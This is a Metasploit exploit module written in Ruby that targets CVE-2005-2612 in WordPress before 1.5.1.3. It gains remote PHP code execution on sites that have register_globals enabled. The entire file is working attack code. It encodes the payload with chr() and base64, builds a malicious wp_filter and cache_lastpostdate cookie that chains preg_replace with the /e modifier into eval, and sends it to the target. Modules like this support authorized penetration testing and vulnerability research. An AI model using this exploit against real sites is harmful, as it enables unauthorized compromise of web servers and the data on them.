require 'msf/core'

module Msf

class Exploits::Unix::Webapp::Wordpress_LastPost_Execution < Msf::Exploit::Remote

	include Exploit::Remote::Tcp
	include Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'WordPress cache_lastpostdate Arbitrary Code Execution',
			'Description'    => %q{
            	This module exploits an arbitrary PHP code execution flaw in the WordPress
			blogging software. This vulnerability is only present when the PHP 'register_globals'
			option is enabled (common for hosting providers). All versions of WordPress prior to
			1.5.1.3 are affected.
			},
			'Authors'        => [ 'str0ke <str0ke [at] milw0rm.com>', 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 3509 $',
			'References'     =>
				[
					['OSVDB', '18672'],
					['CVE', '2005-2612'],
					['BID', '14533'],
					['MIL', '86'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 512,
				},
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Aug 9 2005',
			'DefaultTarget' => 0))
			
			register_options(
				[
					OptString.new('URI', [true, "The full URI path to WordPress", "/"]),
				], self.class)
	end

	def exploit
		
		enc = payload.encoded.unpack('C*').map { |c| "chr(#{c})"}.join('.') + ".chr(32)"
		str = Rex::Text.encode_base64('args[0]=eval(base64_decode('+enc+')).die()&args[1]=x')
		data =
			"wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;"+
			"wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;"+
			"cache_lastpostmodified[server]=//e;cache_lastpostdate[server]="+str+
			";wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;"+
			"wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;"+
			"wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;"

		# Trigger the command execution bug
		res = send_request_cgi({
			'uri'      => datastore['URI'],
			'cookie'   => data
		}, 25)		
		
		if (res)
			print_status("The server returned: #{res.code} #{res.message}")
		else
			print_status("No response from the server")
		end
	end
	
end
end